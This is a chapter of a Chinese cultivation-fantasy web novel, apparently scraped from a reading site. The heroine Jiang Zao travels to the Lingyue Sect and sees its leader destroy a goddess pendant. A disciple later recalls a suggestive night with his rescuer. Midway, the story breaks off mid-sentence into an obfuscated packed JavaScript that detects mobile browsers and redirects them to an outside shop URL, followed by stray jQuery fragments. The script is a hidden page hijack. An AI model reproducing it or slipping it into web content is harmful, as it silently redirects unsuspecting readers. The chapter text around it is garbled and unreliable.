默认冷灰
24号文字
方正启体

5. 第5章

作者:宴晴山本书字数:K更新时间:
    姜早两手空空跟着招工的人走了,大家在一辆平平无奇的马车前集合。


    他们这次一共招了三十来个人,男女都有,这辆马车却只有一匹马拉,感觉最多也就塞开五六个人。


    姜早环顾四周,却没看到其他车了。


    前面的人按照管事的要求开始往马车里进,没想到一连进了十来个人居然还显得绰绰有余。


    姜早的眼睛越瞪越大,星际战舰也没有这么能装的。


    直到她被催着推进车厢里,才发现里面居然别有洞天。


    简约朴素的外观是为了在路上不会引人注意,车厢帘子一挑,车厢里映入眼帘的先是一间会客厅。


    十来把木质上好的桌椅,桌面上都放着冒热气的茶水,正对面一扇松鹤延年的雕花屏风,两侧是宽敞明亮的大窗户,再往里面走,各有内室五六间,每一间都布置的干净整洁,有铺着软垫的椅子,也有可容一人小憩的卧榻。


    先前那么些人进来,各找了地方休息,竟然还显得很是空旷。


    姜早可算见识了什么叫牛马的金辔头,目不暇接地连连赞叹,再次感慨自己这工作可真是找对了,可惜这次施工听起来是个临时工的活,不然她真想在这干一辈子。


    结萝找了张小床就睡了,姜早昨天旷工休息了一天,所以这会儿还不累,窝在圈椅里喝了两杯茶水,悠闲得赏着窗外美景,眼看碎骨场在视线里越来越小。


    天知道她有多久没坐过椅子、用过水杯了,差点都快忘了怎么当人。


    马车穿过茂密树林,又驶过一片荒野,穿过几个小村子,最终抵达凌岳宗的山脚下。


    大家自觉规矩地站成两队,头却跟拨浪鼓一样从近到远看个没完。


    凌岳宗的山门气派自不必说,据说这座山背后就是一座繁华的大城,很多有身份地位的人都在城中生活,与碎骨场充斥的贫困与饥饿相比,这里仿佛是另一个世界。


    “这儿好像连空气都格外清新。”结萝放肆地深呼吸几口,胸脯鼓起又落下,她感到开心时头发好像变得更蓬松了,被风吹成一朵可爱的棉花糖。


    姜早的心情也很好,赞同她的话,“碎骨场里都是灰尘和碎石,呼吸肯定不会太通畅。”


    托结萝的福,这些日子她在碎骨场认识的几个邻居也都报上了名,陈婶、陈天宝母子俩,还有榆叔,尤其是榆叔和陈婶一把年纪了,起码不用在那样的地方了此残生。


    凌岳宗以白色为尊,内门弟子皆着白衣,山门两侧的巨石被雕刻成悬剑模样,刻着大气磅礴的凌岳宗三个字。


    山路上时不时会遇见几个御剑弟子离去,想必都是门中翘楚,外出任务。


    领班的弟子带他们从侧门绕到后院,避开了修士们活动的主要区域,这里穿暗蓝色衣服的人多了起来,手里或拿着武器,或拿着工具,跟他们一样像打工的。


    那天在澡堂碰到的那几个烂人,也穿着暗蓝色衣服,应该是外门弟子,实际并没有什么修为。


    难怪连她都能躲得开那几道剑气——躲不开想必也没什么伤害。


    早之前就不用表现地那么怂了。


    姜早在队伍里漫天乱想,前面的人却忽然停了下来,她仰头往前看,只见带队的弟子正在躬身行礼。


    “宗主。”他恭敬道。


    两排队伍的人连忙都垂下头去。


    姜早悄悄侧头,想偷偷看看宗主什么样,却正对上一双如冬日寒潭般的深邃眼睛。


    那人个子很高,穿一身玄袍,外披一件带墨色毛领的大氅,衣服织金绣玉,在阳光下映出一道淡淡的光。


    他生得剑眉星目,头发用暗金色发带高高束起,气质端方刚正,只是能看得出人很年轻,稍稍中和了威仪之感。


    没想到凌岳宗的宗主竟然这么年轻……好看。


    姜早连忙收回视线,凌岳宗主也没计较她小小的逾矩之举,转头对弟子道,“带他们先下去收拾干净,有带东西过来的检查清楚,以免混进不该来的东西。”


    他话说到这里,伸手点了点队伍最前方那人身上挂着的坠子,“比如这个,立刻扔了。”


    “这……这是我自己用矿石刻的神女像,不是什么来路不明的东西。”那人紧紧攥着自己的雕像,慌忙解释道。


    凌岳宗主却像听到了什么刺耳的话,他脸色一黑,转头问身边的弟子,“这就是你选的人?”


    弟子连忙抱剑躬身,而后转头看向他们,“想留在这儿干活的,就把身上祈祝用的神女物品通通丢掉,一旦发现,即刻逐出山门去。”


    说罢,他抬手挥出一道风刃,那人颈间坠着的神女像转瞬便碎成了齑粉。


    “我的像……”被点名的人呆呆捧着手里的尘灰,脱力跌坐在地上。


    沈照禅满意的看着那只雕像碎掉,心底生出几分连自己都没有察觉到的报复快感。


    奉她为神根本不会得到垂怜,像她这般冷心冷情的神,终有一日会被弃置荒野,无人问津。


    他畅快地抬眼看着安静的队伍,嗓音慵懒道,“还有其他问题吗?”


    这下没人说话了。


    只有地上的人反应过来,他愤怒地将手中的矿砂丢向沈照禅,却被身旁的弟子眼疾手快挡住,接着唤来两个身后的外门弟子,把他给拖走了。


    “你们……你们这是大逆不道!是对神女的亵渎!神女是不会饶恕你们的!”


    沈照禅听着骂声却面不改色,只是又垂眼在每个人身上扫视一遍,而后举步离开了。


    小小的插曲结束,弟子带着他们继续往后院走,姜早看着人群中许多人都露出隐忍不满的表情,有些诧异这里竟然不是人人都疯狂的信奉神女。


    她放慢脚步和结萝并行,结萝听后十分无奈,“凌岳宗从这位宗主沈照禅开始,便公开宣布不再信仰神女。这些年有很多不满他此举的宗门前来讨伐,但都没讨到什么好处。主要是现在灵力越发枯竭,大动干戈只会让自己宗门死得更快,所以慢慢就没什么人管他了。”


    结萝挠了挠下巴,努力回忆这些年听到的八卦消息,“好像是因为沈照禅推崇什么自救,倒是也吸引了一些观念相同的追随者。但是神女怎么会死了呢?她只是沉睡了,只要我们虔诚祈祷,她一定会醒过来的。”


    说完她又双手交拢念了一段祈祝词,此举引起了身边不少人的共鸣,大家也纷纷交拢双手,趁着凌岳宗的弟子不注意,小声念诵。


    姜早眼珠转了转,不知该如何评价此间境况,脑海里却不合时宜的浮现出沈照禅那张脸。


    真好看啊。


    无神论者心想。


    平白受了顿气的弟子没什么好脸色,给他们一人发了套衣服,指了指澡堂、食堂和宿舍的方向,叮嘱他们按照牌子上的顺序,自东向西一人一间,而后便离开了。


    姜早时隔多日再次摸到干爽衣物,激动地快要落泪,赶忙拉着结萝去女澡堂洗了个澡,换上了香喷喷的新衣服。


    爽!


    感觉整个人重获新生。


    去食堂大快朵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481019|201737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    颐完,姜早拉着结萝冲到宿舍。


    宿舍环境也比姜早想的要好,不但是单人间,而且屋子之间还有一圈灌木合围,作出一块院子来,十分有私人空间。


    从到这里以来,姜早第一次吃饱了饭、浑身清爽、躺在温度舒适被子柔软的床上睡觉,她激动地流下两行热泪,然后昏睡过去。


    院外树影轻摇,真是一夜好梦。


    *


    风沙凌冽的碎骨场,温度越来越低,昏暗空气里飘落几朵雪花。


    一抹身影急切地御剑飞过上空,时不时落在房顶或荒地上驻足片刻,又焦灼地再次加快了脚步。


    江渝白醒来后,发现自己的灵府不但已经完全修复,甚至灵力充盈,变得比平时更加坚固,或许已经可以承受结丹的冲击。


    他大脑一片混沌,看到自己衣衫散乱,身上的伤口却被包扎妥当,便知是有人救了自己。


    回想起昨晚发生的事,江渝白耳根发红,暴露在空气中的肌肤却微微战栗。


    他的记忆虽然模糊,却记得一双黑亮的眼睛和一双柔软的手。


    那双手指尖微凉,在他的身躯上游弋时却仿佛能点燃火焰,那片温热的火烧灼着他的理智,令他控制不住地精神涣散,舌尖发颤,心脏狂跳如同擂鼓,又仿佛溺水之人无法呼吸。


    最后他实在无法承受,似乎开口求她放过自己,却被抓着脚踝拉了回去。


    回想昨晚的最后时刻,他被压在身下,只觉得脑海中绽开一簇簇绚烂的烟花,修长的脊背不受控制的紧紧绷起,他好像没用的哭了,她却没有嫌弃,反而将自己抱在怀里擦了眼泪,柔和地小声哄他。


    那些令他时而痛苦时而愉悦的陌生感受,此时回忆起来却仿佛尤在眼前,江渝白控制不住地伸手轻轻抚过她昨晚碰触的地方,却像是忽然惊醒般收回了手。


    那是他的救命恩人,她、她只是在给自己疗伤,他怎么可以产生这样的贪念。


    江渝白甩头,试图将记忆从那些令人脸红心跳的画面上掰正,可惜却根本记不起恩人的模样。


    他只记得一双水润温柔的眼睛,既黑又亮的注视着自己,仿佛是夜空中最完美的星子。


    即便闭上眼睛,那双眼眸也深深镌刻在他的神魂深处,无法消散。


    当时他环顾四周,匆匆将衣服穿套回身上,摸起沾着血迹的发带想重新束好,无奈昨晚好像一头拱进她怀里,把头发拱得太乱了,只能草草用手指梳理几下,才勉强扎起马尾。


    他拍了拍微红的脸颊,提剑走出房间,这里破败不堪,并没有看到像她的人。


    敏锐察觉到了附近有魔物的气息,江渝白神色一凛,凝神掐诀,顺着感知追了过去,却仍未找到她的踪迹。


    因为急于回青崖复命,将自己冒死夺回的灵石交给尊上,最终他只能先行离开,交付了东西便急急忙忙赶回来,谁知在这一片寻遍了,还是没有她的身影。


    要不是自己曾住过一晚的屋子地上还散落着几块包扎的碎布,他都要以为那天晚上发生的一切是他濒死的美梦。


    “江师兄,等等我!”江渝白身后一道青色光芒闪过,转眼间,身边便并肩而立了一位气喘吁吁的少年。


    燕决明一路追他追的头顶冒汗,不忘笑着调侃他,“大师兄为了追心上人,快把我落到南渊深海去了。”


    “别乱说。”江渝白面上呵斥,却语气含混地补上一句,“是你太慢了。”


    他不动声色的移开目光,并未反驳师弟的前半句话。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)